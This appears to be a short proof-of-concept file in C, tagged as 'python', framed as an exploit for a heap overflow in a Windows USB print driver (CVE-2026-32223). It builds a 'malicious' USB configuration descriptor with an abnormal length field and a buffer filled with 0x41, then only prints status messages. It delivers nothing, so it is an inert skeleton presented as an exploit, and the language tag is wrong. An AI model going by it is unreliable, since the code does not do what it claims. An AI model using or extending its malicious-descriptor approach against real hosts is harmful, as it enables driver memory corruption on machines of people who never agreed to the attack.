The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-32223
* This code demonstrates the structure of a malicious USB descriptor
* intended to trigger the heap overflow in the Windows USB Print Driver.
* Requires specialized hardware (e.g., USB Rubber Ducky, Facedancer) to execute.
*/
#include <stdio.h>
#include <string.h>
// Structure simulating a malicious USB configuration descriptor
typedef struct {
unsigned char bLength;
unsigned char bDescriptorType;
unsigned short wTotalLength;
unsigned char bNumInterfaces;
unsigned char bConfigurationValue;
unsigned char iConfiguration;
unsigned char bmAttributes;
unsigned char MaxPower;
// Malicious payload padding to cause overflow
unsigned char overflow_buffer[500];
} MaliciousUSBDescriptor;
int main() {
MaliciousUSBDescriptor payload;
// Initialize standard header fields
payload.bLength = 9;
payload.bDescriptorType = 2; // Configuration Descriptor
payload.wTotalLength = 0x0FFF; // Abnormal length hint
payload.bNumInterfaces = 1;
payload.bConfigurationValue = 1;
payload.iConfiguration = 0;
payload.bmAttributes = 0x80; // Bus Powered
payload.MaxPower = 50;
// Fill buffer with pattern 'A' (0x41) to trigger overflow
memset(payload.overflow_buffer, 0x41, sizeof(payload.overflow_buffer));
printf("[*] Generating malicious payload for CVE-2026-32223...\n");
printf("[*] Payload size: %lu bytes\n", sizeof(payload));
printf("[*] Pattern: 0x41 (Heap corruption expected)\n");
// In a real exploit scenario, this data would be sent via USB controller
// when the host enumerates the device.
return 0;
}